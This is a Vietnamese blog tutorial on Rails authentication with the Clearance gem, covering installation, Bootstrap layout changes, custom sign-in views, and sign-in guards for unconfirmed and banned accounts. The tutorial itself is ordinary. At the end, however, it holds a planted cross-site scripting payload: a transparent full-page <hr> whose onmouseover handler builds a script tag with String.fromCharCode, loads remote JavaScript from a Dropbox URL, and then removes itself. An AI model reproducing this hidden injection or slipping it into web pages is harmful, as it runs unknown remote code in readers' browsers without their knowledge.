Rails Authentication với gem Clearance
Bài đăng này đã không được cập nhật trong 3 năm
I. Mở đầu
Xin chào các bác (lay2)
Chắc hẳn các bác đã quen thuộc với Rails Authentication - hay hiểu nôm na là xác thực người dùng khi login đấy.
Đối với rails, khi nói đến thuật ngữ này thì trong đầu ta nghĩ đến ngay gem Devise
- 1 gem hỗ trợ để quản lý và xác thực người dùng rất rất phổ biến.
Nhưng ăn cơm mãi cũng chán, thỉnh thoảng ăn phở tý cho đổi gió (yaoming)
Vì vậy ở bài hôm nay, tôi sẽ giới thiệu với các bạn một gem khác giúp giải quyết vấn đền rails authentication: gem Clearance
.
Clearance
là sản phẩm của team Thoughtbot, tác giả của FactoryGirl
, Paperclip
, ... nên các bác cứ yên tâm về chất lượng. (nod2)
Để có thể so sánh giữa Clearance
và Devise
thì có lẽ tôi phải nghiên cứu sâu thêm, chứ giờ không dám nói bừa (facepalm).
Nhưng điều đầu tiên ấn tượng khi thử dùng Clearance
đấy là sự đơn giản và dễ dàng trong quá trình cài đặt và sử dụng của nó.
II. Demo
Các công việc sẽ làm
- Khởi tạo rails app, add các gem cần thiết.
- Tạo layouts và controller cơ bản.
- Cài đặt clearance và migrate dữ liệu.
- Config giúp clearance hoạt động.
Các công cụ
- Rails 4.2.3
- Ruby 2.1.4
GLHF (honho)
1. Khởi tạo
Khởi tạo rails app
rails new noodle -T
Add gem bootstrap
và import
# Gemfile
gem "bootstrap-sass"
// stylesheets/application.css.scss
@import 'bootstrap';
@import 'bootstrap-sprockets';
Chỉnh layout
# views/layouts/application.html.erb
<nav class="nav navbar-inverse">
<div class="container" >
<div class="navbar-header">
<%= link_to "Noodle", root_path, class: "navbar-brand" %>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
</ul>
</div>
</div>
</nav>
<div class="container">
<% flash.each do |message_type, message| %>
<div class="alert alert-<%= message_type %>">
<%= message %>
</div>
<% end %>
<%= yield %>
</div>
Ta generate ra controller lấy tên là PagesController
rails g controller pages index
Chỉnh root về pages#index
# config/routes.rb
root "pages#index"
OK, vậy là trang chủ hiện tại của ta sẽ được như sau:
2. Cài đặt Clearance
Ta add gem 'Clearance' vào trong Gemfile để install
gem "clearance"
Generate Clearance
bằng câu lệnh sau:
rails g clearance:install
Câu lệnh này sẽ thực hiện:
- Tạo ra file
config/initalizers/clearance.rb
để add các config. - Thêm code vào
application_controller
để tự động includeClearance::Controller
- Tạo ra model
User
bên trong includeClearance::User
. Model này mặc định có các attributes sau:- email (string).
- encrypted_password (string)
- confirmation_token (string)
- remember_token (string)
Giờ ta sẽ add thêm link để login
, logout
trên layout.
# layouts/application.html.erb
<div id="navbar">
<ul class="nav navbar-nav pull-right">
<% if signed_in? %>
<li><span><%= current_user.email %></span></li>
<li><%= link_to 'Sign out', sign_out_path, method: :delete %></li>
<% else %>
<li><%= link_to 'Sign in', sign_in_path %></li>
<% end %>
</ul>
</div>
Giống như Devise
, helper của Clearance
cũng cung cấp các hàm để check User như
signed_in?
: User đã login chưacurrent_user
: Trả về object User đã login.sign_out_path
: Là routes để logout
Bây giờ bạn đã có thể login, logout, signup rồi đấy, nó ngắn gọn vậy thôi (honho).
3. Custom Clearance
3.1. Custom Views
Ở chế độ mặc định, Clearance
sẽ tự generate ra views
khá là xấu (yaoming)
Vì vậy để modify nó ta chạy lệnh sau
rails g clearance:views
Lệnh này sẽ generate file views của Clearance
hiện tại. Bạn có thể thấy trên console 1 đống file được tạo ra.
Giả dụ như ta muốn thay đổi form sign in
, thì truy cập tới: views/sessions/_form.html.erb
để sửa
<div class="container">
<div class="row">
<div class="col-md-offset-3 col-md-5">
<%= form_for :session, url: session_path do |form| %>
<div class="text-field">
<%= form.label :email, class: "control-label" %>
<%= form.text_field :email, type: 'email', class: "form-control" %>
</div>
<div class="password-field">
<%= form.label :password, class: "control-label" %>
<%= form.password_field :password, class: "form-control" %>
</div>
<br/>
<div>
<%= form.submit "Login", class: "btn btn-primary" %>
</div>
<div>
<% if Clearance.configuration.allow_sign_up? %>
<%= link_to t(".sign_up"), sign_up_path %>
<% end %>
<%= link_to t(".forgot_password"), new_password_path %>
</div>
<% end %>
</div>
</div>
</div>
Kết quả đỡ hơn tý (dance2)
3.2. Extending Sign In
Mặc định khi login, Clearance
chỉ check User email và password xem có trùng không.
Tuy nhiên, ngoài email và password ra bạn muốn kiểm tra thêm cái khác, ví dụ như kiểm tra account được active chưa chẳng hạn. Clearance
cung cấp 1 cái gọi là sign-in guards
.
Bạn mở file config để bật nó lên
# config/initializers/clearance.rb
class EmailConfirmationGuard < Clearance::SignInGuard
def call
if unconfirmed?
failure("You must confirm your email address.")
else
next_guard
end
end
def unconfirmed?
signed_in? && !current_user.confirmed_at
end
end
Clearance.configure do |config|
config.sign_in_guards = [EmailConfirmationGuard]
end
Một ví dụ khác, chẳng hạn ta muốn không cho các account láo nháo đã bị ban
login.
Generate thêm 1 trường trong db
rails generate migration add_ban_to_users ban:boolean
Thay đổi file config tiếp
# config/initializers/clearance.rb
Clearance.configure do |config|
config.sign_in_guards = [BanCheckGuard]
end
class BanCheckGuard < Clearance::SignInGuard
def call
if banned?
failure("Your account is suspended.")
else
next_guard
end
end
def banned?
current_user.ban?
end
end
Và đây là kết quả sau khi login của account bị ban (yaoming)
Source
Tài liệu tham khảo
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">All rights reserved